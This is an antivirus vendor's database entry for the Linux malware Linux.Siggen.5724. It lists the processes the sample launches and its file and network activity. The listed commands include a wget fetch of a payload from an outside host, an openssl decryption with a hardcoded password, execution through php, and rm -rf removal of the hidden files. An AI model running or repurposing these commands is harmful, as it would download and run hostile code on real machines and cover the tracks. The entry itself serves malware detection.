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Linux.Siggen.5724

Added to the Dr.Web virus database: 2023-10-07

Virus description added:

Technical Information

Malicious functions:
Removes the following system files:
  • /usr/bin/.RcLicense_virtualizor
Launches processes:
  • umount /usr/local/.vmfivir
  • openssl aes-256-cbc -in /usr/bin/.RcLicense_virtualizor -out /usr/local/.vmfivir -d -pass pass:#!agenthplpl8dw6662gdj@2121
  • comp0 -i /usr/local/.vmfivir > /dev/null 2>&1
  • rm -rf /usr/local/.vmfivir > /dev/null 2>&1
  • rm -rf /usr/local/.vmfivir
  • wget -O /usr/bin/.RcLicense_virtualizor https://virtualizor.resellercenter.ir/seRcLicense_virtualizor
  • wget -O /usr/bin/.RcLicense_virtualizor https://virtualizor.resellercenter.ir/seRcLicense_virtualizor > /dev/null 2>&1
  • php /usr/local/.vmfivir
  • umount /usr/local/.vmfivir > /dev/null 2>&1
  • rm -rf /usr/bin/.RcLicense_virtualizor > /dev/null 2>&1
  • rm -rf /usr/bin/.RcLicense_virtualizor
Performs operations with the file system:
Creates or modifies files:
  • /usr/bin/.RcLicense_virtualizor
  • /usr/local/.vmfivir
Deletes files:
  • /usr/local/.vmfivir
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • vi#######or.resellercenter.ir

Curing recommendations


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